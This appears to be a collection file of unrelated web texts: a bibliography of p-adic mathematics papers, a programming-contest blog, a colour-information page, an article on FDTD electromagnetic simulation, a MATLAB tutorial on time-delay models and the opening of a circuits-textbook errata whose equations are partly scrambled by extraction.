$p$-adique\n\nSéminaire Dubreil. Algèbre et théorie des nombres\n\n### Certains invariants entiers d' un p-bloc.\n\nMathematische Zeitschrift\n\n### Cycles of distance-decreasing mappings in the ring of n-adic integers\n\nColloquium Mathematicae\n\nWe give a description of possible sets of cycle lengths for distance-decreasing maps and isometries of the ring of n-adic integers.\n\nActa Arithmetica\n\n### Die irreduziblen Darstellungen der Gruppen SL...(Z...), insbesondere SL...(Z...). II. Teil\n\nCommentarii mathematici Helvetici\n\n### Die irreduziblen Darstellungen der Gruppen SL...(Z...), insbesondere SL...(Z...). I. Teil\n\nCommentarii mathematici Helvetici\n\n### Die irreduziblen Darstellungen von GL2(Zp), insbesondere GL2(Z2).\n\nMathematische Annalen\n\n### Ein p-adischer Beweis für die Irrationalität der Nullstellen von Besselfunktionen.\n\nMathematische Annalen\n\nActa Arithmetica\n\n### Éléments algébriques de l’algèbre ${V}_{E}\\left(Q\\right)$\n\nSéminaire Delange-Pisot-Poitou. Théorie des nombres\n\n### Ensembles d’unicité dans des produits de corps $p$-adiques\n\nSéminaire Delange-Pisot-Poitou. Théorie des nombres\n\n### Équations différentielles $p$-adiques. Croissance des solutions, factorisation, indice\n\nSéminaire Delange-Pisot-Poitou. Théorie des nombres\n\nPage 1 Next" ]

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[ "## Saturday, January 29, 2022\n\n### An incremental week\n\nTopCoder SRM 822 was the first event of the last week (problems, results, top 5 on the left, analysis). The hard problem did not require too many algorithmic insight, but the implementation and tiny details were extremely tricky to get right. As a result, only bqi343 managed to make it work and he won the SRM ahead of four challenge phase masters. Well done!\n\nI was almost there with the hard problem, my solution had the same phases as the one from the official analysis, but I did not manage to even make it work on samples in time.\n\nCodeforces Round 767 followed on Saturday (problems, results, top 5 on the left, analysis). I did not like the long statement of A and I did not immediately see the solution to B, so I've started solving the (relatively) easier problems in a weird order: D1, D2, C, A. When I solved these four, I saw that tourist already had all of them + problem B solved, so it became clear that I needed to go for the harder problems if I wanted to have a shot at the first place. We solved E roughly at the same time which did not change the situation, so I went all in on F, but unfortunately did not manage to finish in time.\n\nAt the end of the contest, my solution for F had just one bug: when comparing fractions a/b and c/d, I compared a*d-b*c with zero without taking the signs of b and d into account :( To be fair to tourist, his solution to F also needed just a few more minutes. Congratulations on the win! As he pointed out after the round, I would have probably won the round if he did not participate, since then I would have solved B instead of F.\n\nI want to mention problem E, not because it was particularly exciting, but because I want to share an interesting trick from my solution: you are given a tree with vertices numbered from 1 to n, initially all colored white. The tree edges have weights. You need to process a sequence of queries of three types:\n1. Given l and r, color all vertices with numbers between l and r black.\n2. Given l and r, color all vertices with numbers between l and r white.\n3. Given x, find the largest edge weight in the union of the shortest paths from x to all black vertices.\nBoth the number of vertices and the number of queries are up to 300000.\n\nIn the past few months, I've become a lot more proficient using AtCoder's general lazy segtree algorithm, and prefer using it to rolling a custom lazy segtree implementation for every problem. However, in problems like this one it can be quite challenging to express the lazy propagation as a monoid + a set of mappings. All the more satisfaction when you actually manage to do it :) Can you see the trick? I'll describe my solution in the next summary.\n\nCodeChef January Cook-Off 2022 wrapped up the week on Sunday (problems, results, top 5 on the left, analysis). tourist has solved all problems in less than an hour (out of 2.5 hours available) and won in a very convincing fashion. Great job!\n\nIn my previous summary, I have mentioned a CodeChef problem: you are given a permutation of length 200000, and need to tell if it's possible to split it into two disjoint subsequences in such a way that both parts have the same number of incremental maximums (numbers that are bigger than all previous numbers in the part).\n\nThe first observation is somewhat natural: let's look at the incremental maximums of the original permutation. If their number k is even, then it's easy to find the required split: let's find the (k/2+1)-th incremental maximum, and let the first subsequence consist of all numbers before it, and the second subsequence of this number and all following number. Then each of the subsequences will have exactly k/2 incremental maximums, and those will be exactly the incremental maximums of the original permutation.\n\nWe can also notice the following \"reverse\" observation: each of the incremental maximums of the original permutation will be an incremental maximum of one of the two subsequences. But of course the subsequence may have additional incremental maximums. Let's call the incremental maximums of the original permutation the big ones, and all others the small ones.\n\nNotice that we can always get rid of a small incremental maximum without affecting any other big or small incremental maximums: just move it to the other subsequence (where it will be hidden by the big incremental maximum that was hiding it in the original permutation), together with any additional small incremental maximums that appear when we remove this one.\n\nTherefore if there is a solution to this problem where both subsequences have small incremental maximums, we can keep removing one from each until one of the subsequences has only big ones. So without loss of generality we can only look for solutions where the second subsequence has only big incremental maximums.\n\nIn a similar spirit to the above argument, we can also introduce new small incremental maximums by moving them from the other subsequence. Therefore the set of incremental maximums of the first subsequence can be any increasing subsequence of the original permutation.\n\nTherefore the problem has been reduced to the following: does there exist an increasing subsequence of the given permutation such that it contains exactly k-m out of k big maximums, where m is its length?\n\nNow we can assign a weight of 2 to all big maximums, and a weight of 1 to all other numbers, and our question simply becomes: \"does there exist an increasing subsequence of weight k?\"\n\nFinally, we can notice that we can always decrease the weight of a subsequence by 2 by simply removing some elements, so it's enough to answer the question \"what is the maximum weight of an increasing subsequence which has the same parity as k?\" And this question can be answered by adapting a O(n*log(n)) algorithm for the longest increasing subsequence.\n\nNotice how we first obtained a working understanding of the solution space here — that we can have any two disjoint incremental subsequences of the original permutation that cover all big maximums as the sequences of incremental maximums of the two parts — and then the actual algorithmic solution was not that hard to see.\n\nThanks for reading, and check back (hopefully) tomorrow for this week's summary!\n\n1.", null, "2.", null, "" ]

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[ "# #0d0eef Color Information\n\nIn a RGB color space, hex #0d0eef is composed of 5.1% red, 5.5% green and 93.7% blue. Whereas in a CMYK color space, it is composed of 94.6% cyan, 94.1% magenta, 0% yellow and 6.3% black. It has a hue angle of 239.7 degrees, a saturation of 89.7% and a lightness of 49.4%. #0d0eef color hex could be obtained by blending #1a1cff with #0000df. Closest websafe color is: #0000ff.\n\n• R 5\n• G 5\n• B 94\nRGB color chart\n• C 95\n• M 94\n• Y 0\n• K 6\nCMYK color chart\n\n#0d0eef color description : Vivid blue.\n\n# #0d0eef Color Conversion\n\nThe hexadecimal color #0d0eef has RGB values of R:13, G:14, B:239 and CMYK values of C:0.95, M:0.94, Y:0, K:0.06. Its decimal value is 855791.\n\nHex triplet RGB Decimal 0d0eef `#0d0eef` 13, 14, 239 `rgb(13,14,239)` 5.1, 5.5, 93.7 `rgb(5.1%,5.5%,93.7%)` 95, 94, 0, 6 239.7°, 89.7, 49.4 `hsl(239.7,89.7%,49.4%)` 239.7°, 94.6, 93.7 0000ff `#0000ff`\nCIE-LAB 30.95, 73.129, -101.086 15.9, 6.63, 82.098 0.152, 0.063, 6.63 30.95, 124.765, 305.883 30.95, -8.844, -122.047 25.75, 65.159, -171.012 00001101, 00001110, 11101111\n\n# Color Schemes with #0d0eef\n\n• #0d0eef\n``#0d0eef` `rgb(13,14,239)``\n• #efee0d\n``#efee0d` `rgb(239,238,13)``\nComplementary Color\n• #0d7fef\n``#0d7fef` `rgb(13,127,239)``\n• #0d0eef\n``#0d0eef` `rgb(13,14,239)``\n• #7d0def\n``#7d0def` `rgb(125,13,239)``\nAnalogous Color\n• #7fef0d\n``#7fef0d` `rgb(127,239,13)``\n• #0d0eef\n``#0d0eef` `rgb(13,14,239)``\n• #ef7d0d\n``#ef7d0d` `rgb(239,125,13)``\nSplit Complementary Color\n• #0eef0d\n``#0eef0d` `rgb(14,239,13)``\n• #0d0eef\n``#0d0eef` `rgb(13,14,239)``\n• #ef0d0e\n``#ef0d0e` `rgb(239,13,14)``\n• #0defee\n``#0defee` `rgb(13,239,238)``\n• #0d0eef\n``#0d0eef` `rgb(13,14,239)``\n• #ef0d0e\n``#ef0d0e` `rgb(239,13,14)``\n• #efee0d\n``#efee0d` `rgb(239,238,13)``\n• #090aa6\n``#090aa6` `rgb(9,10,166)``\n• #0a0bbf\n``#0a0bbf` `rgb(10,11,191)``\n• #0c0dd7\n``#0c0dd7` `rgb(12,13,215)``\n• #0d0eef\n``#0d0eef` `rgb(13,14,239)``\n• #2223f3\n``#2223f3` `rgb(34,35,243)``\n• #3b3cf4\n``#3b3cf4` `rgb(59,60,244)``\n• #5354f6\n``#5354f6` `rgb(83,84,246)``\nMonochromatic Color\n\n# Alternatives to #0d0eef\n\nBelow, you can see some colors close to #0d0eef. Having a set of related colors can be useful if you need an inspirational alternative to your original color choice.\n\n• #0d47ef\n``#0d47ef` `rgb(13,71,239)``\n• #0d34ef\n``#0d34ef` `rgb(13,52,239)``\n• #0d21ef\n``#0d21ef` `rgb(13,33,239)``\n• #0d0eef\n``#0d0eef` `rgb(13,14,239)``\n• #1f0def\n``#1f0def` `rgb(31,13,239)``\n• #320def\n``#320def` `rgb(50,13,239)``\n• #450def\n``#450def` `rgb(69,13,239)``\nSimilar Colors\n\n# #0d0eef Preview\n\nThis text has a font color of #0d0eef.\n\n``<span style=\"color:#0d0eef;\">Text here</span>``\n#0d0eef background color\n\nThis paragraph has a background color of #0d0eef.\n\n``<p style=\"background-color:#0d0eef;\">Content here</p>``\n#0d0eef border color\n\nThis element has a border color of #0d0eef.\n\n``<div style=\"border:1px solid #0d0eef;\">Content here</div>``\nCSS codes\n``.text {color:#0d0eef;}``\n``.background {background-color:#0d0eef;}``\n``.border {border:1px solid #0d0eef;}``\n\n# Shades and Tints of #0d0eef\n\nA shade is achieved by adding black to any pure hue, while a tint is created by mixing white to any pure color. In this example, #010110 is the darkest color, while #fcfcff is the lightest one.\n\n• #010110\n``#010110` `rgb(1,1,16)``\n• #020222\n``#020222` `rgb(2,2,34)``\n• #030335\n``#030335` `rgb(3,3,53)``\n• #040448\n``#040448` `rgb(4,4,72)``\n• #05055a\n``#05055a` `rgb(5,5,90)``\n• #06066d\n``#06066d` `rgb(6,6,109)``\n• #07077f\n``#07077f` `rgb(7,7,127)``\n• #080992\n``#080992` `rgb(8,9,146)``\n• #090aa5\n``#090aa5` `rgb(9,10,165)``\n• #0a0bb7\n``#0a0bb7` `rgb(10,11,183)``\n• #0b0cca\n``#0b0cca` `rgb(11,12,202)``\n• #0c0ddc\n``#0c0ddc` `rgb(12,13,220)``\n• #0d0eef\n``#0d0eef` `rgb(13,14,239)``\n• #1d1ef3\n``#1d1ef3` `rgb(29,30,243)``\n• #3030f4\n``#3030f4` `rgb(48,48,244)``\n• #4243f5\n``#4243f5` `rgb(66,67,245)``\n• #5555f6\n``#5555f6` `rgb(85,85,246)``\n• #6768f7\n``#6768f7` `rgb(103,104,247)``\n• #7a7af8\n``#7a7af8` `rgb(122,122,248)``\n• #8d8df9\n``#8d8df9` `rgb(141,141,249)``\n• #9fa0fa\n``#9fa0fa` `rgb(159,160,250)``\n• #b2b2fb\n``#b2b2fb` `rgb(178,178,251)``\n• #c4c5fc\n``#c4c5fc` `rgb(196,197,252)``\n• #d7d7fd\n``#d7d7fd` `rgb(215,215,253)``\n• #eaeafe\n``#eaeafe` `rgb(234,234,254)``\n• #fcfcff\n``#fcfcff` `rgb(252,252,255)``\nTint Color Variation\n\n# Tones of #0d0eef\n\nA tone is produced by adding gray to any pure hue. In this case, #787884 is the less saturated color, while #0304f9 is the most saturated one.\n\n• #787884\n``#787884` `rgb(120,120,132)``\n• #6e6e8e\n``#6e6e8e` `rgb(110,110,142)``\n• #646498\n``#646498` `rgb(100,100,152)``\n• #5b5ba1\n``#5b5ba1` `rgb(91,91,161)``\n• #5151ab\n``#5151ab` `rgb(81,81,171)``\n• #4748b5\n``#4748b5` `rgb(71,72,181)``\n• #3d3ebf\n``#3d3ebf` `rgb(61,62,191)``\n• #3434c8\n``#3434c8` `rgb(52,52,200)``\n• #2a2bd2\n``#2a2bd2` `rgb(42,43,210)``\n• #2021dc\n``#2021dc` `rgb(32,33,220)``\n• #1718e5\n``#1718e5` `rgb(23,24,229)``\n• #0d0eef\n``#0d0eef` `rgb(13,14,239)``\n• #0304f9\n``#0304f9` `rgb(3,4,249)``\nTone Color Variation\n\n# Color Blindness Simulator\n\nBelow, you can see how #0d0eef is perceived by people affected by a color vision deficiency. This can be useful if you need to ensure your color combinations are accessible to color-blind users.\n\nMonochromacy\n• Achromatopsia 0.005% of the population\n• Atypical Achromatopsia 0.001% of the population\nDichromacy\n• Protanopia 1% of men\n• Deuteranopia 1% of men\n• Tritanopia 0.001% of the population\nTrichromacy\n• Protanomaly 1% of men, 0.01% of women\n• Deuteranomaly 6% of men, 0.4% of women\n• Tritanomaly 0.01% of the population" ]

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[ "# The Basics of Electromagnetic Analysis Using Finite-Difference Time-Domain Simulations\n\n### Key Takeaways\n\n• A standard set of techniques for examining electromagnetic behavior in complex structures is finite-difference time-domain simulations.\n\n• These simulations can be used to calculate the electromagnetic field distribution in a complex structure, such as a waveguide, unique antenna, or IC package.\n\n• Electromagnetic analysis using finite-difference time-domain methods helps designers evaluate complex systems before prototyping and production.", null, "Microwave circuits and components can be evaluated with electromagnetic analysis using finite-difference time-domain simulations\n\nElectromagnetic analysis encompasses a broad range of techniques for evaluating and understanding the behavior of the electromagnetic field in complex structures. Examples include anything from large PCBs to small integrated circuit packages where signals can propagate and radiate. These systems have complex geometries that cannot be easily treated with closed-form equations, so a numerical technique is needed to calculate the behavior of the electromagnetic field in these structures.\n\nFinite-difference time-domain (FDTD) is used to solve Maxwell’s equations in a system with arbitrary 3D geometry and evaluate their evolution in the time-domain. There is also a related technique, called finite-difference frequency-domain (FDFD), which solves Maxwell’s equations in the frequency domain. This numerical technique is powerful in that it can treat arbitrary geometry, nonlinear media, inhomogeneous media, and anisotropic media. Many designers may not be familiar with the finer points of electromagnetic analysis using finite-difference time-domain simulations, but newer CAD tools help simplify the creation and execution of these simulations.\n\n## How Does Electromagnetic Analysis Using Finite-Difference Time-Domain Simulations Work?\n\nIn electromagnetic analysis, finite-difference time-domain simulations are used to solve Maxwell’s equations in an arbitrary geometry for a given set of initial conditions and boundary conditions. These simulations enforce a discretization scheme on the governing differential equations in the system (Maxwell’s equations), boundary conditions, and initial conditions. This converts the differential equations that need to be solved into an iterative arithmetic problem that is solved at each point in space and each time step.\n\nAll finite-difference time-domain simulations apply spatial discretization by defining a “mesh” for the electric and magnetic fields in space. This mesh is used to define the set of points in space where the solution will be calculated. Time is also discretized in this simulation, which is used as the iteration basis in standard FDTD solution algorithms. Due to the transverse nature of the electric and magnetic fields, the typical discretization scheme is known as Yee’s scheme, as defined below:", null, "Yee’s scheme for a cubic mesh in FDTD simulations\n\nThe process for solving these problems is conceptually simple:\n\n1. Solve the spatial portion of the problem.\n2. Calculate the solution evolution at each point in space.\n3. Iterate to the next time step.\n\nAlthough these simulations follow a simple iterative workflow, they can be intractable to solve by hand, thus they are implemented on a computer. Typical simulation times can range from minutes to days, depending on the level of discretization required and the number of time steps. Electromagnetic analysis using finite-difference time-domain has a specific solution algorithm that is implemented in field solver applications.\n\n### The FDTD Solution Algorithm for Maxwell’s Equations\n\nThe solution algorithm in FDTD with Maxwell’s equations is a bit different from the typical algorithm used for other partial differential equations. Because Maxwell’s equations are a coupled set of partial differential equations describing the electromagnetic field, they must be solved iteratively, starting from the initial condition evaluated at the boundary of the system. The flowchart below shows the order in which Maxwell’s equations are solved in an FDTD simulation. The loop in time represents an iteration to the next time step, after which the entire system is solved again in space.", null, "FDTD solution algorithm as applied to Maxwell’s equations\n\nNote that the divergence relation for the magnetic field is absent from this flowchart, as it is uncoupled from the remainder of Maxwell’s equations. The power of the above process is that it applies a simple iterative scheme to a complex set of differential equations that could, in principle, be solved by hand. However, due to the size of these problems, designers who want to use FDTD should consider some measures to balance the accuracy of the results with computation time.\n\n### Reducing Convergence Time While Maintaining Accuracy\n\nObviously, everyone would like perfectly accurate solutions to be available instantly in a 3D field solver. Anyone that wants to use a field solver application to solve electromagnetics problems should consider some steps to reducing the total simulation time without sacrificing accuracy. The simulation time is a linear function of the number of iterations (in time) and nodes (in space), so finding creative ways to reduce both quantities will decrease the total simulation time.\n\n• Transient analysis: Instead of running FDTD simulations for long time periods, a typical strategy is to examine transient behavior and the transition to steady state behavior. The steady state can be simulated with a finite element method (FEM) simulation, while only the transient response is simulated with FDTD.\n• Adaptive meshing: This is used to apply a dense mesh to a region that requires a very highly accurate simulation result, while other regions are set to have a coarse mesh. The various mesh sizes can be based on spatial frequency in the structure (i.e., k = ⍵/c), feature sizes, temporal frequency requirements in each region, or some other factor.\n• Truncation: This is used to cut off the region where the simulation is performed and define continuity to a solution outside the simulation region that is known to be valid. In simulations involving flux across a boundary, this can be done by setting a non-Hermitian boundary condition. In FDTD solver applications, this is enforced with a perfectly matched layer at the boundary of the simulation region.\n• Take advantage of symmetry: If a problem has symmetry in space, then use this to your advantage. Some problems with symmetry can have a dimension eliminated, which reduces the size of the problem and the total simulation time.\n\nElectromagnetic analysis using finite-difference time-domain is a complex topic and continues to be an active area of research. Electronics designers who need to evaluate the functionality of their systems should use Cadence’s PCB design and analysis software and the Clarity 3D EM Solver. This pair of applications is ideal for evaluating a new design before prototyping and production. Only Cadence’s software suite gives you access to a range of simulation features you can use in electromagnetic analysis, giving you everything you need to evaluate your system’s functionality." ]

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[ "# Specifying Time Delays\n\nThis example shows how the Control System Toolbox™ lets you represent, manipulate, and analyze any LTI model with a finite number of delays. The delays can be at the system inputs or outputs, between specific I/O pairs, or internal to the model (for example, inside a feedback loop).\n\n### Time Delays in LTI Models\n\nTransfer function (TF), zero-pole-gain (ZPK), and frequency response data (FRD) objects offer three properties for modeling delays:\n\n• InputDelay, to specify delays at the inputs\n\n• OutputDelay, to specify delays at the outputs\n\n• IODelay, to specify independent transport delays for each I/O pair.\n\nThe state-space (SS) object has three delay-related properties as well:\n\n• InputDelay, to specify delays at the inputs\n\n• OutputDelay, to specify delays at the outputs\n\n• InternalDelay, to keep track of delays when combining models or closing feedback loops.\n\nThe ability to keep track of internal delays makes the state-space representation best suited to modeling and analyzing delay effects in control systems. This tutorial shows how to construct and manipulate systems with delays. For more information on how to analyze delay effects, see Analyzing Control Systems with Delays.\n\n### First-Order Plus Dead Time Models\n\nFirst-order plus dead time models are commonly used in process control applications. One such example is:", null, "To specify this transfer function, use\n\nnum = 5; den = [1 1]; P = tf(num,den,'InputDelay',3.4) \nP = 5 exp(-3.4*s) * ----- s + 1 Continuous-time transfer function. \n\nAs expected, the step response of P is a shifted version of the delay-free response:\n\nP0 = tf(num,den); step(P0,'b',P,'r')", null, "If the process model has multiple outputs, for example:", null, "you can use the OutputDelay property to specify a different delay for each output channel:\n\nnum = {5 ; -2}; den = {[1 1] ; [1 3]}; P = tf(num,den,'OutputDelay',[3.4 ; 2.7]) \nP = From input to output... 5 1: exp(-3.4*s) * ----- s + 1 -2 2: exp(-2.7*s) * ----- s + 3 Continuous-time transfer function. \n\nNext consider a multi-input, multi-output model, e.g.,", null, "Here the delays are different for each I/O pair, so you must use the IODelay property:\n\nnum = {5 , 1; -2 1}; den = {[1 1] , 1; [1 3], [1 0]}; P = tf(num,den,'IODelay',[3.4 0;2.7 0.7]); \n\nA more direct and literal way to specify this model is to introduce the Laplace variable \"s\" and use transfer function arithmetic:\n\ns = tf('s'); P = [ 5*exp(-3.4*s)/(s+1) , 1 ; -2*exp(-2.7*s)/(s+3) , exp(-0.7*s)/s ] \nP = From input 1 to output... 5 1: exp(-3.4*s) * ----- s + 1 -2 2: exp(-2.7*s) * ----- s + 3 From input 2 to output... 1: 1 1 2: exp(-0.7*s) * - s Continuous-time transfer function. \n\nNote that in this case, MATLAB® automatically decides how to distribute the delays between the InputDelay, OutputDelay, and IODelay properties.\n\nP.InputDelay P.OutputDelay P.IODelay \nans = 0 0 ans = 0 0.7000 ans = 3.4000 0 2.0000 0 \n\nThe function totaldelay sums up the input, output, and I/O delay values to give back the values we entered:\n\ntotaldelay(P) \nans = 3.4000 0 2.7000 0.7000 \n\n### State-Space Models with Input and Output Delays\n\nConsider the state-space model:", null, "Note that the input signal u(t) is delayed by 2.5 seconds. To specify this model, enter:\n\nsys = ss(-1,1,12,0,'InputDelay',2.5) \nsys = A = x1 x1 -1 B = u1 x1 1 C = x1 y1 12 D = u1 y1 0 Input delays (seconds): 2.5 Continuous-time state-space model. \n\nA related model is", null, "Here the 2.5 second delay is at the output, as seen by rewriting these state equations as:", null, "You can therefore specify this model as:\n\nsys1 = ss(-1,1,12,0,'OutputDelay',2.5); \n\nNote that both models have the same I/O response as confirmed by\n\nstep(sys,'b',sys1,'r--')", null, "However, their state trajectories are not the same because the states x and x1 are related by", null, "### Combining Models with I/O Delays\n\nSo far we have only considered LTI models with transport delays between specific I/O pairs. While this is enough to model many processes, this class of models is not general enough to analyze most control systems with delays, including simple feedback loops with delays. For example, consider the parallel connection:", null, "The resulting transfer function", null, "cannot be represented as an ordinary transfer function with a delay at the input or output. To represent", null, ", we must switch to the state-space representation and use the notion of \"internal delay\". State-space (SS) models have the ability to keep track of delays when connecting systems together. Structural information on the delay location and their coupling with the remaining dynamics is encoded in an efficient and fully general manner. Adding the transfer functions", null, "and", null, "together automatically computes a state-space representation of", null, ":\n\nH1 = 1/(s+2); H2 = 5*exp(-3.4*s)/(s+1); H = H1 + H2 \nH = A = x1 x2 x1 -2 0 x2 0 -1 B = u1 x1 1 x2 2 C = x1 x2 y1 1 2.5 D = u1 y1 0 (values computed with all internal delays set to zero) Internal delays (seconds): 3.4 Continuous-time state-space model. \n\nNote that\n\n• The delay value of 3.4 is listed as \"internal\"\n\n• The A,B,C,D data corresponds to the dynamics when all delays are set to zero (zero-order Pade approximation)\n\nIt is neither possible nor advisable to look at the transfer function of models with internal delays. Instead, use time and frequency plots to compare and validate models:\n\nstep(H1,H2,H) legend('H1','H2','H','Location','NorthWest'), grid", null, "bode(H1,'b',H-H2,'r--') % verify that H-H2 = H1 grid", null, "### Building Models with Internal Delays\n\nTypically, state-space models with internal delays are not created by specifying A,B,C,D data together with a set of internal delays. Rather, you build such models by connecting simpler LTI models (some with I/O delays) in series, parallel, or feedback. There is no limitation on how many delays are involved and how the LTI models are connected together.\n\nFor example, consider the control loop shown below, where the plant is modeled as a first-order plus dead time.", null, "Figure 1: Feedback Loop with Delay.\n\nUsing the state-space representation, you can derive a model T for the closed-loop response from r to y and simulate it by\n\nP = 5*exp(-3.4*s)/(s+1); C = 0.1 * (1 + 1/(5*s)); T = feedback(P*C,1); step(T,100) grid, title('Closed-loop step response')", null, "For more complicated interconnections, you can name the input and output signals of each block and use connect to automatically take care of the wiring. Suppose, for example, that you want to add feedforward to the control loop of Figure 1:", null, "Figure 2: Feedforward and Feedback Control.\n\nYou can derive the corresponding closed-loop model T by\n\nF = 0.3/(s+4); P.u = 'u'; P.y = 'y'; C.u = 'e'; C.y = 'uc'; F.u = 'r'; F.y = 'uf'; Sum1 = sumblk('e = r-y'); Sum2 = sumblk('u = uf+uc'); Tff = connect(P,C,F,Sum1,Sum2,'r','y'); \n\nand compare its response with the feedback only design:\n\nstep(T,'b',Tff,'r',100) legend('No feedforward','Feedforward') grid, title('Closed-loop step response with and without feedforward')", null, "### State-Space Equations with Delayed Terms\n\nA special class of LTI models with delays are state-space equations with delayed terms. The general form is", null, "", null, "The function delayss helps you specify such models. For example, consider", null, "To create this model, specify Aj,Bj,Cj,Dj for each delay and use delayss to assemble the model:\n\nDelayT(1) = struct('delay',0.5,'a',0,'b',2,'c',1,'d',0); % tau1=0.5 DelayT(2) = struct('delay',1.2,'a',-1,'b',0,'c',0,'d',0); % tau2=1.2 sys = delayss(-1,0,0,1,DelayT) \nsys = A = x1 x1 -2 B = u1 x1 2 C = x1 y1 1 D = u1 y1 1 (values computed with all internal delays set to zero) Internal delays (seconds): 0.5 0.5 1.2 Continuous-time state-space model. \n\nNote that the A,B,C,D values are for all delays set to zero. The response for these values need not be close to the actual response with delays:\n\nstep(sys,'b',pade(sys,0),'r')", null, "### Discrete-Time Models with Delays\n\nDiscrete-time delays are handled in a similar way with some minor differences:\n\n• Discrete-time delays are always integer multiples of the sampling period\n\n• Discrete-time delays are equivalent to poles at z=0, so it is always possible to absorb delays into the model dynamics. However, keeping delays separate is better for performance, especially for systems with long delays compared to the sampling period.\n\nTo specify the first-order model", null, "with sampling period Ts=0.1, use\n\nH = tf(2,[1 -0.95],0.1,'inputdelay',25) step(H) \nH = 2 z^(-25) * -------- z - 0.95 Sample time: 0.1 seconds Discrete-time transfer function.", null, "The equivalent state-space representation is\n\nH = ss(H) \nH = A = x1 x1 0.95 B = u1 x1 2 C = x1 y1 1 D = u1 y1 0 Input delays (sampling periods): 25 Sample time: 0.1 seconds Discrete-time state-space model. \n\nNote that the delays are kept separate from the poles. Next, consider the feedback loop below where g is a pure gain.", null, "Figure 3: Discrete-Time Feedback Loop.\n\nTo compute the closed-loop response for g=0.01, type\n\ng = .01; T = feedback(g*H,1) step(T) \nT = A = x1 x1 0.93 B = u1 x1 2 C = x1 y1 0.01 D = u1 y1 0 (values computed with all internal delays set to zero) Internal delays (sampling periods): 25 Sample time: 0.1 seconds Discrete-time state-space model.", null, "Note that T is still a first-order model with an internal delay of 25 samples. For comparison, map all delays to poles at z=0 using absorbDelay:\n\nT1 = absorbDelay(T); order(T1) \nans = 26 \n\nThe resulting model has 26 states and is therefore less efficient to simulate. Note that the step responses of T and T1 exactly match as expected:\n\nstep(T,'b',T1,'r--')", null, "In general, it is recommended to keep delays separate except when analyzing the closed-loop dynamics of models with internal delays:\n\nrlocus(H) axis([-1 2 -1 1])", null, "### Inside State-Space Models with Internal Delays\n\nState-space objects use generalized state-space equations to keep track of internal delays. Conceptually, such models consist of two interconnected parts:\n\n• An ordinary state-space model H(s) with augmented I/O set\n\n• A bank of internal delays.", null, "Figure 4: Internal Representation of State-Space Models with Internal Delays.\n\nThe corresponding state-space equations are", null, "You need not bother with this internal representation to use the tools. However, if for some reason you want to extract H or the matrices A,B1,B2,..., you can do this with getDelayModel. For the example\n\nP = 5*exp(-3.4*s)/(s+1); C = 0.1 * (1 + 1/(5*s)); T = feedback(P*C,1); [H,tau] = getDelayModel(T,'lft'); size(H) \nState-space model with 2 outputs, 2 inputs, and 2 states. \n\nNote that H is a two-input, two-output model whereas T is SISO. The inverse operation (combining H and tau to construct T) is performed by setDelayModel." ]

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[ "You are on page 1of 42\n\n# Note from the Author\n\n## Dear students or instructors:\n\nFirst, thank you for using this book. This document contains a list of typographical errors, misprints and the\noccasional technical error. I am grateful to Dr. Ralph Tanner of Western Michigan University for uncovering the\nmajority of these errata, and I include a note prepared by him because I especially liked his suggestion directed at\nthe students.\nI would be grateful if any user who thinks that they might have uncovered an error would be kind enough to send a\nmessage with a detailed description of the suggested correction to me at [email protected] .\nAgain, thank you for adopting this textbook.\nGiorgio Rizzoni, Columbus, august 2008\nNote by Dr. Ralph Tanner, Western Michigan University\nThere are a dozen pages of errata contained here. At first blush, this might be considered excessive. However,\nthe errors are generally minor and are of the type that the knowledgeable reader would tend to self-correct when\nBut, since this is a text intended for the student, these errors can cause self-doubt and can get in the way of\nlearning the material. The student may tend to believe that the error is in their understanding rather than in the\nprinting of the book. For this reason, this errata file has been very picky.\nI would recommend that the student adopt one of two strategies with this errata file:\n1)Go through the entire errata fle and mark the changes in the\nbook.\n2)Go through the entire errata fle and put a prominent red dot on\neach page where an erratum occurs.\nI believe the first strategy is the best. This allows the student to have the correct information at the point when\nit is needed. However, the second strategy will alert the student to a possible point of confusion. If a topic on the\npage in question causes confusion, the student can make the change at that time. If the topic causing confusion was\nin error, the student will have the corrected material. If the topic causing confusion was not the one in error, the\nstudent will know to keep working to understand the area of confusion.\nWhat I do NOT recommend is the filing of the errata then going to it only when confusion arises.\nIn my classes, I teach the analysis of circuits. I also teach the engineering methods used to reduce the chance of\nerrors. Engineering is a field where errors may cause the loss of life. (Another is medicine.) Because of this grave\nresponsibility, we need to learn how to minimize errors. One of the methods used to minimize errors is multiple\ncumulative review. This errata file represents the start of this process. I am certain that I have not found all of the\nerrors in this text.\n1\nChapter 1\nNo errata.\n2\nChapter 2 Fundamentals of Electric Circuits\np. 18: Example 2.3/Solution, Analysis:\nThe equation after the line At node b:\n0\n4 3\nI I I\nS\nIts better to rewrite it as follows:\n0\n4 3 2 1 0\n+ + + I I I I I I\nS\n.\nSince we have 0\n2 1 0\n+ + I I I at node a, the above equation becomes\n0\n4 3\nI I I\ns\n.\nFigure 2.13 Demonstration of KCL\nAlternatively, we may change node b to be a super node as shown in the figure below without rewriting the\nequation.\n3\nFigure 2.13 Demonstration of KCL\np. 26: the last equation: Should be consistent with Figure 2.24 (b).\nShould be P\nB\n= v\nB\ni = -(-12 V)(-0.1 A) = -1.2 W.\np. 27: the first two equations: Should be consistent with Figure 2.24 (b).\nP\n1\n= v\n1\ni = (- V) (-0.1 A) = 0. W\nP\n2\n= v\n2\ni = (-4 V) (-0.1 A) = 0.4 W\np. 27: !\"#!\\$ %&'( ')*#(+,A)*-).: the se/on0 1ine in the first question:\nShould be has a power rating of 50 W, and the supplied battery voltage is 12 V.\np. 29: The last sentence of the first paragraph should read:\nAn example of this dual behavior is exhibited by the photodiode, which can act either in a passive mode (as a light\nsensor) or in an active mode (as a solar cell).\np. 31: The last line of paragraph 1:\nThe line Table 2.1 lists the conductivity of many common materials. should read\nTable 2.1 lists the resistivity of many common materials.\n4\np. 43: The line after the equation R\n2\n= R\n3\n= R\n0\nR:\nIt can be shown from elementary statics. should read\nIt can be shown from elementary mechanics of materials.\nCompute the full-scale (i.e., largest) output voltage for the force-measuring apparatus of Example 2.16.\np. 49: Problem 2.10: last line: A space is missing.\nFigure P2.10. The chargersvoltage increases to the should be\nFigure P2.10. The chargers voltage increases to the.\np. 50: Problem 2.15: I should be in the lower case i\" as in Figure P2.15.\np. 55: Problem 2.40: the last line: A space is missing.\n12 Vand should read 12 V and.\n5\nChapter 3 Resistive Network Analysis\np. 65: The table in the sidebar: Brackets are missing in currents unit.\nCurrent\ni, A should be\nCurrent\ni, [A]\np. 65: The table in the sidebar: the analogy in electrical systems to conduction heat-transfer coefficient in thermal\nsystems should be conductivity. { = ( i / v) ( l / A) vs. k = (q / T) ( l / A)}\nReplace Resistivity 